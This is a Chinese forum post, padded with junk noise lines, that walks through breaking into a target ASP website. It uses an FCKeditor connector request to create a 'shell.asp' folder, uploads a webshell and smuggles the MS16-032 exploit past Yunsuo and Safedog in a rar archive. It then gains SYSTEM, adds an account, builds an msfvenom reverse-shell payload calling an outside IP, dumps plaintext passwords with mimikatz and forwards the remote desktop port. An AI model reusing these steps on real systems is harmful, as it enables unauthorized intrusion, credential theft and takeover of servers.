|
' A% A$ o2 { F; h) t
0 V6 m g3 ~! |0 w5 _" q
! z6 x1 H- d1 E, ]4 K5 Q
! g4 C- G6 O+ [- @: v | $ o. A* x: N5 ?4 @+ v
2 C# n$ Z# a$ U& F( V) {
9 u: C$ p: I1 a4 t( ^$ Q6 Y5 b8 B# b* D
一、 利用getwebshell篇
) \/ w. k, j/ a% M) Z$ F# `* `1 E2 n
9 o- _# G6 q4 Y9 H" n首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
. b3 G3 z$ F! ]5 Z8 I& D" n
; c9 ?: _9 ] h: A$ D# r# _3 T
8 p, [5 E$ Q R/ a; n# t% r% `下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
. f4 w: i: w u; x. m2 ^
3 ^, ~# L/ R7 q- K8 h; s3 A下面我们构造一个asp目录，如：
v/ x; x& R6 z4 G & L$ K$ m* V* o' ~
) ]9 y+ ~' T1 }! } i& W9 l5 G$ M- a3 U
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
4 C, A6 ~& \. M
! g1 v9 z2 \6 o+ P# x
0 G* l( w/ G$ O8 l6 j 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
, M5 ~7 H' X0 `, l5 W" w- i% @+ {
0 z0 Q/ K) T9 n6 i, Y2 l
一、 绕过安全狗云锁提权并且加账号
! g: |& }6 g. j* p! o- ]6 B
2 V- c ]5 T% f4 V1 Z0 F* o没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
( W. q; R, j8 R& A n& h
6 R+ _. k6 _- X6 d& }1 [如图：
* M' P) R+ n/ n' }! p- n6 \5 |
+ U' p3 s% F7 K1 A- z9 w1 G. f% E1 n然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
+ m6 K" ]3 j1 \0 e! u4 G: N
2 o2 a4 ^0 {$ o7 v# Q* i一、 利用metasploit
) S+ ~+ L# W. d! G
- L' _" W4 [: b1 Q2 D首先用pentestbox生成一个64位的payload如下命令
) X6 g2 q! W! Z
1 |* C9 L4 r/ b! ^. GmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
, f* }# ?5 O R2 {0 A! x' Q
3 Z/ T5 N, C, \2 d1 @
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
6 U+ H4 }8 d" Q% ^+ ]) t( ~
0 c8 `% Y) q1 \+ ?* P( `6 ^下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
: A# ~$ b# b5 I! f# c# Y- S3 g
( G$ ]: H: i6 @: ]0 U1 v7 H
下面我们来做一个监听如下命令：
' k6 }' n8 i! r5 ~
1 b4 d) ]" p; q* sportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
" z% n, B6 h r: R+ ]) N- j
 " v9 e/ h; f/ ^& H X3 a
" s/ D4 X' P* O6 r
| ) E* }7 r" W' ^* V( v, W+ \- N4 d
; z7 J# G7 C' `5 m( s
9 x" U7 N; l$ x+ o# Q 6 d3 }& a/ z( i$ @
5 m* k6 N2 ^7 j& ~0 ? R! n
# ?: ]0 @$ Q) A3 L
6 r; D. k7 } U
+ _* f" p0 z' S* B7 s
' q" u3 R6 F4 t4 @6 E
3 E/ f, g/ @9 o& ?. f$ }( X
/ |) F& R, @0 K G " j- a& h+ {# n* v
. ~* R1 h0 @4 X+ v
5 D1 J C8 a* s r7 Y1 d {
| 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06